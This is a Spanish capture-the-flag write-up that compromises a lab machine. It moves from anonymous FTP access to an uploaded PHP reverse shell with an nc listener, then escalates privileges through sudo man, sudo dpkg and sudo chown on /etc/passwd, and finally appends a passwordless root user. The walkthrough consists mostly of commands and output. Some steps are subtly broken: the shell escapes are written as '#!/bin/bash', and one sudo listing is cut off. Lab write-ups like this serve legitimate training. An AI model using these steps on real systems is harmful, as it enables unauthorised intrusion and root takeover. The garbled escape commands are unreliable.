

ANONYMOUS PINGU

Lo primero que tenemos que hacer es comprobar la conectividad con la máquina:

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.132 ms
```

Tenemos conectividad con la máquina, y vemos un ttl de 64, por lo que probablemente la máquina sea Linux.

Ahora vamos con el reconocimiento de puertos:

```
> nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 18:43 CEST
Initiating ARP Ping Scan at 18:43
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 18:43, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:43
Scanning 172.17.0.2 [65535 ports]
Discovered open port 21/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 18:43, 1.07s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2024-06-19 18:43:30 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
21/tcp    open  ftp     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
```

Solo tiene dos puertos abiertos, ahora vamos a realizar un escaneo más exhaustivo:

```

> nmap -p21,80 -sCV 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 18:44 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000036s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:172.17.0.1
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.5 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
-rw-r--r--  1 0      0      7816 Nov 25  2019 about.html
-rw-r--r--  1 0      0      8102 Nov 25  2019 contact.html
drwxr-xr-x  1 0      0      118 Jan 01  1970 css
drwxr-xr-x  1 0      0         0 Apr 28 18:28 heustonn-html
drwxr-xr-x  1 0      0      574 Oct 23  2019 images
-rw-r--r--  1 0      0    20162 Apr 28 18:32 index.html
drwxr-xr-x  1 0      0      62 Oct 23  2019 js
-rw-r--r--  1 0      0    9808 Nov 25  2019 service.html
|_ drwxrwxrwx  1 33    33         0 Apr 28 21:08 upload [NSE: writeable]
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_ http-server-header: Apache/2.4.58 (Ubuntu)
|_ http-title: Mantenimiento
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

```

Lo que mas nos llama la atención es que el servicio ftp nos permite conectarnos como anonymous, por lo que vamos a inspeccionar lo que hay ahí:

```

> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:romy): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> |

```


Aquí esta toda la página web, con una carpeta llamada upload.

Ahora volviendo a la web, la cual no habíamos inspeccionado, vemos lo siguiente:

Acceder al Backend

Y si entramos a esto, es la carpeta upload:

Index of /upload

Name	Last modified	Size	Description
 Parent Directory		-	

Apache/2.4.58 (Ubuntu) Server at 172.17.0.2 Port 80

Ahora, con un script en php, lo subimos a la carpeta upload para darnos una terminal, en mi caso voy a utilizar el de pentestmonkey:

<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

Y lo subimos a upload:

```
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||10314|)
150 Ok to send data.
100% |*****|
226 Transfer complete.
5493 bytes sent in 00:00 (14.75 MiB/s)
ftp>
```

Ahora simplemente abrimos el puerto 443 para escuchar y ejecutamos:

```
> nc -nlvp 443
listening on [any] 443 ...
```

```
http://172.17.0.2/upload/shell.php
```

```
$ whoami  
www-data  
$
```

Y ya estamos como www-data, ahora vamos a investigar las maneras de escalar privilegios:

```
www-data@6a1317b6ca78:/$ sudo -l  
Matching Defaults entries for www-data:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
  
User www-data may run the following commands on 6a1317b6ca78:  
    (pingu) NOPASSWD: /usr/bin/man
```

Como vemos, podemos ejecutar man como el usuario pingu, esto podemos utilizarlos para cambiar de usuario:

```
www-data@6a1317b6ca78:/$ sudo -u pingu man man
```

Y ahora escribimos los siguiente:

```
#!/bin/bash
```

Y ya somos pingu:

```
pingu@6a1317b6ca78:/$ whoami  
pingu
```

Y ahora con sudo -l vemos lo siguiente:

```
pingu@6a1317b6ca78:/$ sudo -l  
Matching Defaults entries for pingu on 6a1317b6ca78:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
  
User pingu may run the following commands on 6a1317b6ca78:  
    (gladys) NOPASSWD: /usr/bin/nmap  
    (gladys) NOPASSWD: /usr/bin/dpkg
```

Ahora vamos a otorgarnos una bash como gladys gracias a dpkg de la siguiente manera:

```
sudo -u gladys dpkg -l
```

```
#!/bin/bash
```

Y ya somos gladys:

```
gladys@6a1317b6ca78:/$ whoami  
gladys
```

Y vemos lo siguiente:

```
gladys@6a1317b6ca78:/$ sudo -l  
Matching Defaults entries for gladys on   
env_reset, mail_badpass, secure_path  
  
User gladys may run the following comman  
(root) NOPASSWD: /usr/bin/chown
```

Y para obtener la shell como root, vamos a cambiar los permisos en /etc/passwd para quitar la contraseña de root.

```
gladys@6a1317b6ca78:/$ sudo chown $(id -un):$(id -gn) /etc/passwd  
gladys@6a1317b6ca78:/$ ls -l /etc/passwd  
-rw-r--r-- 1 gladys gladys 1292 Apr 28 21:08 /etc/passwd
```

No tenemos ningún editor de texto para poder modificarlo, por lo que vamos a meter un nuevo usuario con root:

```
gladys@6a1317b6ca78:/$ cat /etc/passwd | grep 'root'  
root:x:0:0:root:/bin/bash  
gladys@6a1317b6ca78:/$ echo 'newroot::0:0:newroot:/newroot:/bin/bash' >> /etc/passwd  
gladys@6a1317b6ca78:/$ su newroot  
root@6a1317b6ca78:/# whoami  
root  
root@6a1317b6ca78:/#
```

Hemos cogido al linea de root y hemos cambiado el nombre para que se mantenga pero manteniendo la bash de root, y así hemos conseguido ser root.